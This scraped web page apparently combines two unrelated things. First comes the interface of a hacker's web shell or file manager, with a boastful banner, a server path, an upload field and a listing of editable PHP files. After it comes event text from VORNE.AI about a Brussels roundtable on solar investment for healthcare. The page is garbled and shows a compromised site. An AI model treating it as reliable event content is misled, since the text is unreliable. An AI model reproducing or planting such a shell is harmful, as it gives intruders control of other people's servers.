I am a hacker in the dark of a very cold night

path :/var/www/html/vorne.webheaydemo.com

upload file:

List of files:

name file size edit permission action
Bool.php873 KBNovember 17 2023 15:31:240666
Class.php1485 KBNovember 17 2023 15:31:240666
Color.php1195 KBNovember 17 2023 15:31:240666
ContentEditable.php416 KBNovember 17 2023 15:31:240666
FrameTarget.php834 KBNovember 17 2023 15:31:240666
ID.php3204 KBNovember 17 2023 15:31:240666
Length.php1250 KBNovember 17 2023 15:31:240666
LinkTypes.php1768 KBNovember 17 2023 15:31:240666
MultiLength.php1332 KBNovember 17 2023 15:31:240666
Nmtokens.php2145 KBNovember 17 2023 15:31:240666
Pixels.php1724 KBNovember 17 2023 15:31:240666
VORNE.AI - Event Details
Building Investment Models for Solarising Health
30 May
2024
CHIEF

Building Investment Models for Solarising Health

Lack of reliable electricity is a major impediment to scaling access to healthcare. Solar solutions are already demonstrating great potential to transform last mile health care and pandemic preparedness. This roundtable brings select ministers and investors from the multilaterals and private sector to explore investment models for scaling access to electricity for healthcare.

Thursday 30 May | 18H00-19H30 | Intercontinental Hotel, Bruxelles

Tags: